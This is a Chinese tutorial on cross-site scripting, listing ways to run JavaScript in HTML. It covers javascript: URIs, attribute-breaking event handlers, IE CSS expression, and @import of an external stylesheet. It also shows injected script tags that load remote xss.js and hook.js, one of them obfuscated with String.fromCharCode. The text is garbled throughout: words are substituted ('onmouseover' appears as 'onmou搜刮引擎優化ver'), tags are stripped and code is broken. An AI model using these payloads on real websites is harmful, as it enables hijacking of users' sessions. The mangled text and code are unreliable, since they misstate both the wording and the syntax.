1、html可以履行javascript的處所有哪些?
先舉個例子好比這個代碼
1f4ck
變量$a可控,如何讓這個代碼彈框(履行javascript代碼)呢?
(1)屬性值引進javascript:[code]偽和談,來履行javascript代碼。也就是$a=javascript:alert(1)
只有援引文件的屬性才能觸發(fā)javascript腳本,這些標簽有:
href
action
bgsound
background
value
dynsrc
lowsrc。
1
2
3
4
5
因為這些屬性值不是通用屬性,所以會在不合的標簽中,假定在火狐上測試不成功請在ie下測試,我用ie6測試是成功的。
(2)"閉合前一個屬性值,引進事務(wù)驅(qū)動屬性。事務(wù)驅(qū)動屬性的值是javascript代碼,所以可以履行javascript。事務(wù)驅(qū)動屬性是標簽的通用屬性,所以所有標簽都可以用。也就是
1$a="onclick=alert(1)
2如許的事務(wù)驅(qū)動屬性標簽還有:
ondblclick
onmousedown
onmouseup
onmou搜刮引擎優(yōu)化ver
onmousemove
onmou搜刮引擎優(yōu)化ut
onmousepress
onmousedown
onmouseup
1f4ck
(3)閉合標簽,引進
(4)CSS可以經(jīng)由過程expression屬性履行javascript代碼
expression是ie獨有的css屬性,其目標是為了插進一段javascript代碼。
1
在ie6下履行成功。
1@import"http://www.91ri.org/xss.css";
可以從外部導(dǎo)進存在xss代碼的css樣式。
假定css屬性可控,除可以在expression后面添加javascript代碼履行外,還可以像(2)(3)一樣經(jīng)由過程閉合標簽和屬性值來達到履行javascript的目標。
烏云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss
綜上,可以在html里履行javascript的處所有
1、操縱javascript:在屬性值里2、事務(wù)驅(qū)動屬性3、
標簽中(包含這類情勢
瀏覽器會在html頁面加載時,額外向辦事器發(fā)送要求,注:這里是html標簽的特點,不要和同源策略相混合,同源策略是用來限制瀏覽器的。
加載進來的js和本域是同源的。
哪些標簽可以長途加載外部js,并履行呢?
1、
1 2s.src="http://www.91ri.org/xss.js"; 3document.getElementsByTagName("head")[0].appendChild(s); 直接用3用于 viewsource 1 2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116)); 3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); 4b.src=‘hook.js'; 5a.appendChild(b);">